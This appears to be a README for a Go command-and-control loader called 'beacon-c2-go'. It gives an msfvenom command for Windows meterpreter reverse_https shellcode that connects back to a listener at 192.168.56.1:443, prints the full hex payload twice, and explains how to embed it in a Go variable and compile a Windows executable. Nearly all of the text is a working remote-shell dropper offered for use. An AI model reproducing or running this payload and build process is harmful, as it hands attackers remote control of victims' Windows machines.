beacon-c2-go

create shellcode

$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.56.1 LPORT=443 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of hex file: 1020 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353e83e0000004d6f7a696c6c612f352e30202857696e646f7773204e5420362e313b2054726964656e742f372e303b2072763a31312e3029206c696b65204765636b6f00683a5679a7ffd553536a03535368bb010000e8e50000002f69474f352d2d32646f6251584a42596c5374735f38676e436a67716a6465624345666e59436e4b6e66386b4d737963365636344b6158485937684a41557671346e314b3656744b696f7642394332614e7174614c00506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c0751468881300006844f035e0ffd54f75cde8490000006a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cf8b0701c385c075e558c35fe86bffffff3139322e3136382e35362e3100bbf0b5a2566a0053ffd5

replace shellcode variable with your shellcode

var (
	shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353e83e0000004d6f7a696c6c612f352e30202857696e646f7773204e5420362e313b2054726964656e742f372e303b2072763a31312e3029206c696b65204765636b6f00683a5679a7ffd553536a03535368bb010000e8e50000002f69474f352d2d32646f6251584a42596c5374735f38676e436a67716a6465624345666e59436e4b6e66386b4d737963365636344b6158485937684a41557671346e314b3656744b696f7642394332614e7174614c00506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c0751468881300006844f035e0ffd54f75cde8490000006a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cf8b0701c385c075e558c35fe86bffffff3139322e3136382e35362e3100bbf0b5a2566a0053ffd5"
)

and build

$ GOOS=windows GOARCH=386 go build -o sc.exe